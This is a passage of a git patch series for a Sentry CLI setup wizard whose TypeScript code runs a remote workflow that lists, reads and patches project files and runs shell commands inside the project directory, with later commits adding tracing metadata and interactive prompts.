directory?: string) { + const targetDir = directory + ? path.resolve(this.cwd, directory) + : this.cwd; + const featuresList = flags.features + ?.split(",") + .map((f) => f.trim()) + .filter(Boolean); + + await runWizard({ + directory: targetDir, + force: flags.force, + yes: flags.yes, + dryRun: flags["dry-run"], + features: featuresList, + stdout: this.stdout, + stderr: this.stderr, + stdin: this.stdin, + }); + }, +}); diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts new file mode 100644 index 00000000..842a9416 --- /dev/null +++ b/src/lib/init/constants.ts @@ -0,0 +1,8 @@ +export const MASTRA_API_URL = + process.env.SENTRY_WIZARD_API_URL ?? "http://localhost:4111"; + +export const WORKFLOW_ID = "sentry-wizard"; + +export const MAX_FILE_BYTES = 262144; // 256KB per file +export const MAX_STDOUT_BYTES = 65536; // 64KB stdout/stderr truncation +export const DEFAULT_COMMAND_TIMEOUT_MS = 120000; // 2 minutes diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts new file mode 100644 index 00000000..fa004c99 --- /dev/null +++ b/src/lib/init/formatters.ts @@ -0,0 +1,120 @@ +/** + * Output Formatters + * + * Format wizard progress, results, and errors for terminal display. + */ + +import type { Writer } from "../../types/index.js"; + +const STEP_LABELS: Record = { + "discover-context": "Analyzing project structure", + "select-target-app": "Selecting target application", + "resolve-dir": "Resolving project directory", + "check-existing-sentry": "Checking for existing Sentry installation", + "detect-platform": "Detecting platform and framework", + "ensure-sentry-project": "Setting up Sentry project", + "select-features": "Selecting features", + "determine-pm": "Detecting package manager", + "install-deps": "Installing dependencies", + "plan-codemods": "Planning code modifications", + "apply-codemods": "Applying code modifications", + "verify-changes": "Verifying changes", + "add-example-trigger": "Example error trigger", + "open-sentry-ui": "Finishing up", +}; + +export function formatProgress( + stdout: Writer, + stepId: string, + payload?: unknown, +): void { + const label = STEP_LABELS[stepId] ?? stepId; + const payloadType = (payload as any)?.type as string | undefined; + const operation = (payload as any)?.operation as string | undefined; + + let detail = ""; + if (payloadType === "local-op" && operation) { + detail = ` (${operation})`; + } + + stdout.write(`> ${label}${detail}...\n`); +} + +export function formatResult( + stdout: Writer, + result: Record, +): void { + const output = result.result ?? result; + + stdout.write("\nSentry SDK installed successfully!\n\n"); + + if (output.platform) { + stdout.write(` Platform: ${output.platform}\n`); + } + if (output.projectDir) { + stdout.write(` Directory: ${output.projectDir}\n`); + } + if (output.features?.length) { + stdout.write(` Features: ${output.features.join(", ")}\n`); + } + if (output.commands?.length) { + stdout.write(` Commands: ${output.commands.join("; ")}\n`); + } + if (output.sentryProjectUrl) { + stdout.write(` Project: ${output.sentryProjectUrl}\n`); + } + if (output.docsUrl) { + stdout.write(` Docs: ${output.docsUrl}\n`); + } + + if (output.changedFiles?.length) { + stdout.write("\n Changed files:\n"); + for (const f of output.changedFiles) { + const icon = f.action === "create" ? "+" : f.action === "delete" ? "-" : "~"; + stdout.write(` ${icon} ${f.path}\n`); + } + } + + if (output.warnings?.length) { + stdout.write("\n Warnings:\n"); + for (const w of output.warnings) { + stdout.write(` ! ${w}\n`); + } + } + + stdout.write("\n"); +} + +export function formatError( + stderr: Writer, + result: Record, +): void { + const message = + result.error ?? result.result?.message ?? "Wizard failed with an unknown error"; + const exitCode = result.result?.exitCode ?? 1; + + stderr.write(`\nError: ${message}\n`); + + // Provide actionable suggestions based on exit code + if (exitCode === 10) { + stderr.write(" Hint: Use --force to override existing Sentry installation.\n"); + } else if (exitCode === 20) { + stderr.write(" Hint: Could not detect your project's platform. Check that the directory contains a valid project.\n"); + } else if (exitCode === 30) { + const commands = result.result?.commands as string[] | undefined; + if (commands?.length) { + stderr.write(" You can install dependencies manually:\n"); + for (const cmd of commands) { + stderr.write(` $ ${cmd}\n`); + } + } + } else if (exitCode === 50) { + stderr.write(" Hint: Fix the verification issues and run 'sentry init' again.\n"); + } + + if (result.result?.docsUrl) { + stderr.write(` Docs: ${result.result.docsUrl}\n`); + } + + stderr.write("\n"); +} diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts new file mode 100644 index 00000000..3a6cdcb8 --- /dev/null +++ b/src/lib/init/interactive.ts @@ -0,0 +1,181 @@ +/** + * Interactive Dispatcher + * + * Handles interactive prompts from the remote workflow. + * Supports select, multi-select, and confirm prompts. + * Respects --yes flag for non-interactive mode. + */ + +import type { WizardOptions, InteractivePayload } from "./types.js"; + +export async function handleInteractive( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const { kind } = payload; + + switch (kind) { + case "select": + return handleSelect(payload, options); + case "multi-select": + return handleMultiSelect(payload, options); + case "confirm": + return handleConfirm(payload, options); + default: + return { cancelled: true }; + } +} + +async function handleSelect( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const apps = (payload.apps as Array<{ name: string; path: string; framework?: string }>) ?? []; + const items = (payload.options as string[]) ?? apps.map((a) => a.name); + + if (items.length === 0) { + return { cancelled: true }; + } + + // --yes: auto-pick if exactly one option + if (options.yes) { + if (items.length === 1) { + return { selectedApp: items[0] }; + } + options.stderr.write( + "Error: --yes requires exactly one option for selection, but found " + + `${items.length}. Run interactively to choose.\n`, + ); + return { cancelled: true }; + } + + options.stdout.write(`\n${payload.prompt}\n`); + for (let i = 0; i < items.length; i++) { + const app = apps[i]; + const extra = app?.framework ? ` (${app.framework})` : ""; + options.stdout.write(` ${i + 1}. ${items[i]}${extra}\n`); + } + + const answer = await readLine(options, `Choose [1-${items.length}]: `); + const idx = Number.parseInt(answer.trim(), 10) - 1; + + if (idx >= 0 && idx < items.length) { + return { selectedApp: items[idx] }; + } + + options.stderr.write("Invalid selection.\n"); + return { cancelled: true }; +} + +async function handleMultiSelect( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + const available = + (payload.availableFeatures as string[]) ?? + (payload.options as string[]) ?? + []; + + if (available.length === 0) { + return { features: [] }; + } + + // --yes: select all available features + if (options.yes) { + return { features: available }; + } + + options.stdout.write(`\n${payload.prompt}\n`); + for (let i = 0; i < available.length; i++) { + options.stdout.write(` ${i + 1}. ${available[i]}\n`); + } + + const answer = await readLine( + options, + `Choose (comma-separated, or "all") [1-${available.length}]: `, + ); + + if (answer.trim().toLowerCase() === "all") { + return { features: available }; + } + + const indices = answer + .split(",") + .map((s) => Number.parseInt(s.trim(), 10) - 1) + .filter((i) => i >= 0 && i < available.length); + + const selected = [...new Set(indices.map((i) => available[i]))]; + return { features: selected }; +} + +async function handleConfirm( + payload: InteractivePayload, + options: WizardOptions, +): Promise> { + // --yes: auto-confirm + if (options.yes) { + // For "add example trigger" → default to true + // For "verification issues" → default to continue + if (payload.prompt.includes("example")) { + return { addExample: true }; + } + return { action: "continue" }; + } + + options.stdout.write(`\n${payload.prompt} [Y/n] `); + + const answer = await readLine(options, ""); + const confirmed = + answer.trim() === "" || + answer.trim().toLowerCase() === "y" || + answer.trim().toLowerCase() === "yes"; + + // Determine which field to set based on the prompt + if (payload.prompt.includes("example")) { + return { addExample: confirmed }; + } + return { action: confirmed ? "continue" : "stop" }; +} + +function readLine( + options: WizardOptions, + prompt: string, +): Promise { + return new Promise((resolve) => { + if (prompt) { + options.stdout.write(prompt); + } + + const { stdin } = options; + const wasRaw = stdin.isRaw; + + // Handle piped stdin (non-TTY) + if (!stdin.isTTY) { + let data = ""; + const onData = (chunk: Buffer) => { + data += chunk.toString(); + if (data.includes("\n")) { + stdin.removeListener("data", onData); + resolve(data.split("\n")[0] ?? ""); + } + }; + stdin.on("data", onData); + stdin.resume(); + return; + } + + // TTY mode: read a line + stdin.setRawMode?.(false); + stdin.resume(); + stdin.setEncoding("utf-8"); + + const onData = (chunk: string) => { + stdin.removeListener("data", onData); + stdin.pause(); + if (wasRaw !== undefined) stdin.setRawMode?.(wasRaw); + resolve(chunk.trim()); + }; + + stdin.once("data", onData); + }); +} diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts new file mode 100644 index 00000000..16314053 --- /dev/null +++ b/src/lib/init/local-ops.ts @@ -0,0 +1,267 @@ +/** + * Local Operations Dispatcher + * + * Handles filesystem and shell operations requested by the remote workflow. + * All operations are sandboxed to the workflow's cwd directory. + */ + +import fs from "node:fs"; +import path from "node:path"; +import { spawn } from "node:child_process"; +import { + MAX_FILE_BYTES, + MAX_STDOUT_BYTES, + DEFAULT_COMMAND_TIMEOUT_MS, +} from "./constants.js"; +import type { + WizardOptions, + LocalOpPayload, + LocalOpResult, + ListDirPayload, + ReadFilesPayload, + FileExistsBatchPayload, + RunCommandsPayload, + ApplyPatchsetPayload, +} from "./types.js"; + +/** + * Resolve a path relative to cwd and verify it's inside cwd. + * Rejects path traversal attempts. + */ +function safePath(cwd: string, relative: string): string { + const resolved = path.resolve(cwd, relative); + const normalizedCwd = path.resolve(cwd); + if (!resolved.startsWith(normalizedCwd + path.sep) && resolved !== normalizedCwd) { + throw new Error(`Path "${relative}" resolves outside project directory`); + } + return resolved; +} + +export async function handleLocalOp( + payload: LocalOpPayload, + _options: WizardOptions, +): Promise { + try { + switch (payload.operation) { + case "list-dir": + return await listDir(payload); + case "read-files": + return await readFiles(payload); + case "file-exists-batch": + return await fileExistsBatch(payload); + case "run-commands": + return await runCommands(payload); + case "apply-patchset": + return await applyPatchset(payload); + default: + return { ok: false, error: `Unknown operation: ${(payload as any).operation}` }; + } + } catch (error) { + return { + ok: false, + error: error instanceof Error ? error.message : String(error), + }; + } +} + +async function listDir(payload: ListDirPayload): Promise { + const { cwd, params } = payload; + const targetPath = safePath(cwd, params.path); + const maxDepth = params.maxDepth ?? 3; + const maxEntries = params.maxEntries ?? 500; + const recursive = params.recursive ?? false; + + const entries: Array<{ name: string; path: string; type: "file" | "directory" }> = []; + + function walk(dir: string, depth: number): void { + if (entries.length >= maxEntries) return; + if (depth > maxDepth) return; + + let dirEntries: fs.Dirent[]; + try { + dirEntries = fs.readdirSync(dir, { withFileTypes: true }); + } catch { + return; + } + + for (const entry of dirEntries) { + if (entries.length >= maxEntries) return; + + const relPath = path.relative(cwd, path.join(dir, entry.name)); + const type = entry.isDirectory() ? "directory" : "file"; + entries.push({ name: entry.name, path: relPath, type }); + + if (recursive && entry.isDirectory() && !entry.name.startsWith(".") && entry.name !== "node_modules") { + walk(path.join(dir, entry.name), depth + 1); + } + } + } + + walk(targetPath, 0); + return { ok: true, data: { entries } }; +} + +async function readFiles(payload: ReadFilesPayload): Promise { + const { cwd, params } = payload; + const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; + const files: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + const stat = fs.statSync(absPath); + if (stat.size > maxBytes) { + // Read only up to maxBytes + const buffer = Buffer.alloc(maxBytes); + const fd = fs.openSync(absPath, "r"); + fs.readSync(fd, buffer, 0, maxBytes, 0); + fs.closeSync(fd); + files[filePath] = buffer.toString("utf-8"); + } else { + files[filePath] = fs.readFileSync(absPath, "utf-8"); + } + } catch { + files[filePath] = null; + } + } + + return { ok: true, data: { files } }; +} + +async function fileExistsBatch( + payload: FileExistsBatchPayload, +): Promise { + const { cwd, params } = payload; + const exists: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + exists[filePath] = fs.existsSync(absPath); + } catch { + exists[filePath] = false; + } + } + + return { ok: true, data: { exists } }; +} + +async function runCommands(payload: RunCommandsPayload): Promise { + const { cwd, params } = payload; + const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; + + const results: Array<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; + }> = []; + + for (const command of params.commands) { + const result = await runSingleCommand(command, cwd, timeoutMs); + results.push(result); + if (result.exitCode !== 0) { + return { + ok: false, + error: `Command "${command}" failed with exit code ${result.exitCode}: ${result.stderr}`, + data: { results }, + }; + } + } + + return { ok: true, data: { results } }; +} + +function runSingleCommand( + command: string, + cwd: string, + timeoutMs: number, +): Promise<{ command: string; exitCode: number; stdout: string; stderr: string }> { + return new Promise((resolve) => { + const child = spawn("sh", ["-c", command], { + cwd, + stdio: ["ignore", "pipe", "pipe"], + timeout: timeoutMs, + }); + + const stdoutChunks: Buffer[] = []; + const stderrChunks: Buffer[] = []; + let stdoutLen = 0; + let stderrLen = 0; + + child.stdout.on("data", (chunk: Buffer) => { + if (stdoutLen < MAX_STDOUT_BYTES) { + stdoutChunks.push(chunk); + stdoutLen += chunk.length; + } + }); + + child.stderr.on("data", (chunk: Buffer) => { + if (stderrLen < MAX_STDOUT_BYTES) { + stderrChunks.push(chunk); + stderrLen += chunk.length; + } + }); + + child.on("error", (err) => { + resolve({ + command, + exitCode: 1, + stdout: "", + stderr: err.message, + }); + }); + + child.on("close", (code) => { + const stdout = Buffer.concat(stdoutChunks) + .toString("utf-8") + .slice(0, MAX_STDOUT_BYTES); + const stderr = Buffer.concat(stderrChunks) + .toString("utf-8") + .slice(0, MAX_STDOUT_BYTES); + resolve({ command, exitCode: code ?? 1, stdout, stderr }); + }); + }); +} + +async function applyPatchset( + payload: ApplyPatchsetPayload, +): Promise { + const { cwd, params } = payload; + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + const absPath = safePath(cwd, patch.path); + + switch (patch.action) { + case "create": { + // Ensure parent directory exists + const dir = path.dirname(absPath); + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "create" }); + break; + } + case "modify": { + if (!fs.existsSync(absPath)) { + return { + ok: false, + error: `Cannot modify "${patch.path}": file does not exist`, + }; + } + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "modify" }); + break; + } + case "delete": { + if (fs.existsSync(absPath)) { + fs.unlinkSync(absPath); + } + applied.push({ path: patch.path, action: "delete" }); + break; + } + } + } + + return { ok: true, data: { applied } }; +} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts new file mode 100644 index 00000000..5c52f30e --- /dev/null +++ b/src/lib/init/types.ts @@ -0,0 +1,101 @@ +import type { Writer } from "../../types/index.js"; + +export interface WizardOptions { + directory: string; + force: boolean; + yes: boolean; + dryRun: boolean; + features?: string[]; + stdout: Writer; + stderr: Writer; + stdin: NodeJS.ReadStream & { fd: 0 }; +} + +// ── Local-op suspend payloads ────────────────────────────── + +export type LocalOpPayload = + | ListDirPayload + | ReadFilesPayload + | FileExistsBatchPayload + | RunCommandsPayload + | ApplyPatchsetPayload; + +export interface ListDirPayload { + type: "local-op"; + operation: "list-dir"; + cwd: string; + params: { + path: string; + recursive?: boolean; + maxDepth?: number; + maxEntries?: number; + }; +} + +export interface ReadFilesPayload { + type: "local-op"; + operation: "read-files"; + cwd: string; + params: { + paths: string[]; + maxBytes?: number; + }; +} + +export interface FileExistsBatchPayload { + type: "local-op"; + operation: "file-exists-batch"; + cwd: string; + params: { + paths: string[]; + }; +} + +export interface RunCommandsPayload { + type: "local-op"; + operation: "run-commands"; + cwd: string; + params: { + commands: string[]; + timeoutMs?: number; + }; +} + +export interface ApplyPatchsetPayload { + type: "local-op"; + operation: "apply-patchset"; + cwd: string; + params: { + patches: Array<{ + path: string; + action: "create" | "modify" | "delete"; + patch: string; + }>; + }; +} + +export interface LocalOpResult { + ok: boolean; + error?: string; + data?: unknown; +} + +// ── Interactive suspend payloads ─────────────────────────── + +export interface InteractivePayload { + type: "interactive"; + prompt: string; + kind: "select" | "multi-select" | "confirm"; + [key: string]: unknown; +} + +// ── Workflow run result ──────────────────────────────────── + +export interface WorkflowRunResult { + status: "suspended" | "success" | "failed"; + suspended?: string[][]; + steps?: Record; + suspendPayload?: unknown; + result?: unknown; + error?: string; +} diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts new file mode 100644 index 00000000..9ab13066 --- /dev/null +++ b/src/lib/init/wizard-runner.ts @@ -0,0 +1,115 @@ +/** + * Wizard Runner + * + * Main suspend/resume loop that drives the remote Mastra workflow. + * Each iteration: check status → if suspended, perform local-op or + * interactive prompt → resume with result → repeat. + */ + +import { MastraClient } from "@mastra/client-js"; +import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; +import { formatProgress, formatResult, formatError } from "./formatters.js"; +import { handleLocalOp } from "./local-ops.js"; +import { handleInteractive } from "./interactive.js"; +import type { + WizardOptions, + LocalOpPayload, + InteractivePayload, +} from "./types.js"; + +export async function runWizard(options: WizardOptions): Promise { + const { directory, force, yes, dryRun, features, stdout, stderr } = options; + + const client = new MastraClient({ baseUrl: MASTRA_API_URL }); + const workflow = client.getWorkflow(WORKFLOW_ID); + const run = await workflow.createRun(); + + let result = await run.startAsync({ + inputData: { directory, force, yes, dryRun, features }, + }); + + // Track multi-suspend phases per step + const stepPhases = new Map(); + + while ((result as any).status === "suspended") { + // Extract step ID and suspend payload + const stepPath = + (result as any).suspended?.[0] ?? + (result as any).activePaths?.[0] ?? + []; + const stepId: string = stepPath[stepPath.length - 1] ?? "unknown"; + + const payload = extractSuspendPayload(result as Record, stepId); + if (!payload) { + stderr.write(`Error: No suspend payload found for step "${stepId}"\n`); + break; + } + + formatProgress(stdout, stepId, payload); + + let resumeData: Record; + const payloadType = (payload as any).type as string; + + if (payloadType === "local-op") { + const localResult = await handleLocalOp( + payload as LocalOpPayload, + options, + ); + + // Track phase progression for multi-suspend steps + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + const phaseNames = ["read-files", "analyze", "done"]; + resumeData = { + ...localResult, + _phase: phaseNames[Math.min(phase - 1, phaseNames.length - 1)], + }; + } else if (payloadType === "interactive") { + const interactiveResult = await handleInteractive( + payload as InteractivePayload, + options, + ); + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + resumeData = { + ...interactiveResult, + _phase: "apply", + }; + } else { + stderr.write(`Error: Unknown suspend payload type "${payloadType}"\n`); + break; + } + + result = await run.resumeAsync({ + step: stepId, + resumeData, + }); + } + + const resultObj = result as Record; + if (resultObj.status === "success") { + formatResult(stdout, resultObj); + } else { + formatError(stderr, resultObj); + } +} + +function extractSuspendPayload( + result: Record, + stepId: string, +): unknown | undefined { + // Try step-specific payload first + const stepPayload = result.steps?.[stepId]?.suspendPayload; + if (stepPayload) return stepPayload; + + // Try top-level suspend payload + if (result.suspendPayload) return result.suspendPayload; + + // Try nested in activePaths data + for (const key of Object.keys(result.steps ?? {})) { + const step = result.steps[key]; + if (step?.suspendPayload) return step.suspendPayload; + } + + return undefined; +} From 8146d8b279119c464f5018671ca337f645779d14 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 21:20:05 +0100 Subject: [PATCH 02/34] feat(init): pass tracing options to Mastra workflow runs Sends tags and metadata (CLI version, OS, arch, node version) with startAsync and resumeAsync calls so workflow runs are visible and filterable in Mastra Studio. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 9ab13066..64b021fb 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -7,6 +7,7 @@ */ import { MastraClient } from "@mastra/client-js"; +import { CLI_VERSION } from "../constants.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; import { formatProgress, formatResult, formatError } from "./formatters.js"; import { handleLocalOp } from "./local-ops.js"; @@ -20,12 +21,24 @@ import type { export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features, stdout, stderr } = options; + const tracingOptions = { + tags: ["sentry-cli", "init-wizard"], + metadata: { + cliVersion: CLI_VERSION, + os: process.platform, + arch: process.arch, + nodeVersion: process.version, + dryRun, + }, + }; + const client = new MastraClient({ baseUrl: MASTRA_API_URL }); const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); let result = await run.startAsync({ inputData: { directory, force, yes, dryRun, features }, + tracingOptions, }); // Track multi-suspend phases per step @@ -83,6 +96,7 @@ export async function runWizard(options: WizardOptions): Promise { result = await run.resumeAsync({ step: stepId, resumeData, + tracingOptions, }); } From 57f902fba5ff09150a2ac9db47b4a417e24012de Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 22:19:57 +0100 Subject: [PATCH 03/34] feat(init): generate unique trace ID for each wizard run Import randomBytes and generate a hex trace ID so all suspend/resume calls within a single wizard run share one trace. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 64b021fb..ff176484 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -6,6 +6,7 @@ * interactive prompt → resume with result → repeat. */ +import { randomBytes } from "node:crypto"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; @@ -22,6 +23,7 @@ export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features, stdout, stderr } = options; const tracingOptions = { + traceId: randomBytes(16).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From 0c5e4403ccc5c642c3212bfd06b20722769bfc67 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 22:20:08 +0100 Subject: [PATCH 04/34] fix(init): flatten nested workflow spans with shared parent span ID Add a synthetic parentSpanId to tracingOptions so all workflow run spans become siblings under the same parent instead of nesting by timestamp containment. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index ff176484..feeb28ce 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -24,6 +24,7 @@ export async function runWizard(options: WizardOptions): Promise { const tracingOptions = { traceId: randomBytes(16).toString("hex"), + parentSpanId: randomBytes(8).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From d60e3b23af0392e663a7cc574334f2d08adee4ba Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 11:08:02 +0100 Subject: [PATCH 05/34] fix(init): remove unnecessary parentSpanId from tracing options The parentSpanId was creating artificial nesting - let the workflow engine handle span hierarchy naturally. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index feeb28ce..ff176484 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -24,7 +24,6 @@ export async function runWizard(options: WizardOptions): Promise { const tracingOptions = { traceId: randomBytes(16).toString("hex"), - parentSpanId: randomBytes(8).toString("hex"), tags: ["sentry-cli", "init-wizard"], metadata: { cliVersion: CLI_VERSION, From 3d39f6169cfc4efdc261ed4e284356e6b5be4ec6 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 12:03:57 +0100 Subject: [PATCH 06/34] feat(init): show ASCII banner and make error monitoring required Display the branded SENTRY ASCII banner before the intro line for visual consistency with `sentry --help`. Make the "errors" feature always enabled in the feature multi-select so users cannot deselect error monitoring. Co-Authored-By: Claude Opus 4.6 --- src/lib/help.ts | 2 +- src/lib/init/interactive.ts | 161 ++++++++++-------------- src/lib/init/wizard-runner.ts | 222 ++++++++++++++++++++++------------ 3 files changed, 209 insertions(+), 176 deletions(-) diff --git a/src/lib/help.ts b/src/lib/help.ts index 40873f43..bc632118 100644 --- a/src/lib/help.ts +++ b/src/lib/help.ts @@ -36,7 +36,7 @@ const BANNER_GRADIENT = [ * Format the banner with a vertical gradient effect. * Each row gets progressively darker purple. */ -function formatBanner(): string { +export function formatBanner(): string { return BANNER_ROWS.map((row, i) => { const color = BANNER_GRADIENT[i] ?? "#B4A4DE"; return chalk.hex(color)(row); diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 3a6cdcb8..7c90efa7 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -6,21 +6,23 @@ * Respects --yes flag for non-interactive mode. */ -import type { WizardOptions, InteractivePayload } from "./types.js"; +import { confirm, log, multiselect, select } from "@clack/prompts"; +import { abortIfCancelled } from "./clack-utils.js"; +import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { const { kind } = payload; switch (kind) { case "select": - return handleSelect(payload, options); + return await handleSelect(payload, options); case "multi-select": - return handleMultiSelect(payload, options); + return await handleMultiSelect(payload, options); case "confirm": - return handleConfirm(payload, options); + return await handleConfirm(payload, options); default: return { cancelled: true }; } @@ -28,48 +30,49 @@ export async function handleInteractive( async function handleSelect( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { - const apps = (payload.apps as Array<{ name: string; path: string; framework?: string }>) ?? []; + const apps = + (payload.apps as Array<{ + name: string; + path: string; + framework?: string; + }>) ?? []; const items = (payload.options as string[]) ?? apps.map((a) => a.name); if (items.length === 0) { return { cancelled: true }; } - // --yes: auto-pick if exactly one option if (options.yes) { if (items.length === 1) { + log.info(`Auto-selected: ${items[0]}`); return { selectedApp: items[0] }; } - options.stderr.write( - "Error: --yes requires exactly one option for selection, but found " + - `${items.length}. Run interactively to choose.\n`, + log.error( + `--yes requires exactly one option for selection, but found ${items.length}. Run interactively to choose.` ); return { cancelled: true }; } - options.stdout.write(`\n${payload.prompt}\n`); - for (let i = 0; i < items.length; i++) { - const app = apps[i]; - const extra = app?.framework ? ` (${app.framework})` : ""; - options.stdout.write(` ${i + 1}. ${items[i]}${extra}\n`); - } - - const answer = await readLine(options, `Choose [1-${items.length}]: `); - const idx = Number.parseInt(answer.trim(), 10) - 1; - - if (idx >= 0 && idx < items.length) { - return { selectedApp: items[idx] }; - } + const selected = await select({ + message: payload.prompt, + options: items.map((item, i) => { + const app = apps[i]; + return { + value: item, + label: item, + hint: app?.framework ?? undefined, + }; + }), + }); - options.stderr.write("Invalid selection.\n"); - return { cancelled: true }; + return { selectedApp: abortIfCancelled(selected) }; } async function handleMultiSelect( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { const available = (payload.availableFeatures as string[]) ?? @@ -80,102 +83,60 @@ async function handleMultiSelect( return { features: [] }; } - // --yes: select all available features + const requiredFeature = "errors"; + const hasRequired = available.includes(requiredFeature); + if (options.yes) { + log.info(`Auto-selected all features: ${available.join(", ")}`); return { features: available }; } - options.stdout.write(`\n${payload.prompt}\n`); - for (let i = 0; i < available.length; i++) { - options.stdout.write(` ${i + 1}. ${available[i]}\n`); + if (hasRequired) { + log.info("Error monitoring is always enabled."); } - const answer = await readLine( - options, - `Choose (comma-separated, or "all") [1-${available.length}]: `, - ); + const optional = available.filter((f) => f !== requiredFeature); - if (answer.trim().toLowerCase() === "all") { - return { features: available }; - } + const selected = await multiselect({ + message: payload.prompt, + options: optional.map((feature) => ({ + value: feature, + label: feature, + })), + initialValues: optional, + required: false, + }); - const indices = answer - .split(",") - .map((s) => Number.parseInt(s.trim(), 10) - 1) - .filter((i) => i >= 0 && i < available.length); + const chosen = abortIfCancelled(selected); + if (hasRequired && !chosen.includes(requiredFeature)) { + chosen.unshift(requiredFeature); + } - const selected = [...new Set(indices.map((i) => available[i]))]; - return { features: selected }; + return { features: chosen }; } async function handleConfirm( payload: InteractivePayload, - options: WizardOptions, + options: WizardOptions ): Promise> { - // --yes: auto-confirm if (options.yes) { - // For "add example trigger" → default to true - // For "verification issues" → default to continue if (payload.prompt.includes("example")) { + log.info("Auto-confirmed: adding example trigger"); return { addExample: true }; } + log.info("Auto-confirmed: continuing"); return { action: "continue" }; } - options.stdout.write(`\n${payload.prompt} [Y/n] `); + const confirmed = await confirm({ + message: payload.prompt, + initialValue: true, + }); - const answer = await readLine(options, ""); - const confirmed = - answer.trim() === "" || - answer.trim().toLowerCase() === "y" || - answer.trim().toLowerCase() === "yes"; + const value = abortIfCancelled(confirmed); - // Determine which field to set based on the prompt if (payload.prompt.includes("example")) { - return { addExample: confirmed }; + return { addExample: value }; } - return { action: confirmed ? "continue" : "stop" }; -} - -function readLine( - options: WizardOptions, - prompt: string, -): Promise { - return new Promise((resolve) => { - if (prompt) { - options.stdout.write(prompt); - } - - const { stdin } = options; - const wasRaw = stdin.isRaw; - - // Handle piped stdin (non-TTY) - if (!stdin.isTTY) { - let data = ""; - const onData = (chunk: Buffer) => { - data += chunk.toString(); - if (data.includes("\n")) { - stdin.removeListener("data", onData); - resolve(data.split("\n")[0] ?? ""); - } - }; - stdin.on("data", onData); - stdin.resume(); - return; - } - - // TTY mode: read a line - stdin.setRawMode?.(false); - stdin.resume(); - stdin.setEncoding("utf-8"); - - const onData = (chunk: string) => { - stdin.removeListener("data", onData); - stdin.pause(); - if (wasRaw !== undefined) stdin.setRawMode?.(wasRaw); - resolve(chunk.trim()); - }; - - stdin.once("data", onData); - }); + return { action: value ? "continue" : "stop" }; } diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index ff176484..af171144 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -7,20 +7,99 @@ */ import { randomBytes } from "node:crypto"; +import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; +import { formatBanner } from "../help.js"; +import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; -import { formatProgress, formatResult, formatError } from "./formatters.js"; -import { 